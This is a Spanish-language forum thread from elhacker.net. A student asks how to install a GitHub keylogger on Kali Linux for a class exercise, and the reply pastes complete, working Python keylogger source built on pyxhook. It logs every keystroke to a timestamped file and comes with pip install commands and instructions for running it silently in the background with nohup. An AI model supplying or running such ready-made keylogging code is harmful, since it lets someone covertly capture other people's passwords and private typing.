Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Pitagoras en 20 Marzo 2022, 18:28 pm



Título: NO ENTIENDO!
Publicado por: Pitagoras en 20 Marzo 2022, 18:28 pm
Tengo una duda, estoy haciendo una practica acerca de los keylogger y este es el que me tengo que descargar: https://github.com/GiacomoLaw/Keylogger (https://github.com/GiacomoLaw/Keylogger). Tengo que utilizar Kali Linux.
Ya me le he descargado pero ahora no se que pasos debo seguir para instalarlo, para que capture y guarde en un archivo todas las letras tecleadas por el usuario.

Saludos


Título: Re: NO ENTIENDO!
Publicado por: fary en 21 Marzo 2022, 07:36 am
El keylogger en Linux es un script en python. Creas el script lo ejecutas y listo  :P

Código
  1. # import needed modules
  2. import os
  3. from datetime import datetime
  4. import pyxhook
  5.  
  6. def main():
  7.    # Specify the name of the file (can be changed )
  8.    log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
  9.  
  10.    # The logging function with {event parm}
  11.    def OnKeyPress(event):
  12.  
  13.        with open(log_file, "a") as f:  # Open a file as f with Append (a) mode
  14.            if event.Key == 'P_Enter' :
  15.                f.write('\n')
  16.            else:
  17.                f.write(f"{chr(event.Ascii)}")  # Write to the file and convert ascii to readable characters
  18.  
  19.    # Create a hook manager object
  20.    new_hook = pyxhook.HookManager()
  21.    new_hook.KeyDown = OnKeyPress
  22.  
  23.    new_hook.HookKeyboard()  # set the hook
  24.  
  25.    try:
  26.        new_hook.start()  # start the hook
  27.    except KeyboardInterrupt:
  28.        # User cancelled from command line so close the listener
  29.        new_hook.cancel()
  30.        pass
  31.    except Exception as ex:
  32.        # Write exceptions to the log file, for analysis later.
  33.        msg = f"Error while catching events:\n  {ex}"
  34.        pyxhook.print_err(msg)
  35.        with open(log_file, "a") as f:
  36.            f.write(f"\n{msg}")
  37.  
  38.  
  39. if __name__ == "__main__":
  40.    main()


Código:
The following instructions will install Keylogger using pip3 .

  pip3 install -r requirements.txt

or

  pip3 install pyxhook

Código:
How to run it

By running nohup python3 keylogger.py & command, it'll start to log your strokes: The meaning of nohup is ‘no hangup‘. When nohup command use with ‘&’ then it doesn’t return to shell command prompt after running the command in the background.

$~/Keylogger/linux$ nohup python3 keylogger.py &
[1] 12529 //this is the keylogger's PID (process ID)
$:~/Keylogger/linux$ fg

The Keylogger is now running! It will log your strokes to a file . Stop it by typing the command fg then hitting CTRL+C

or

kill {PID} for example kill 12529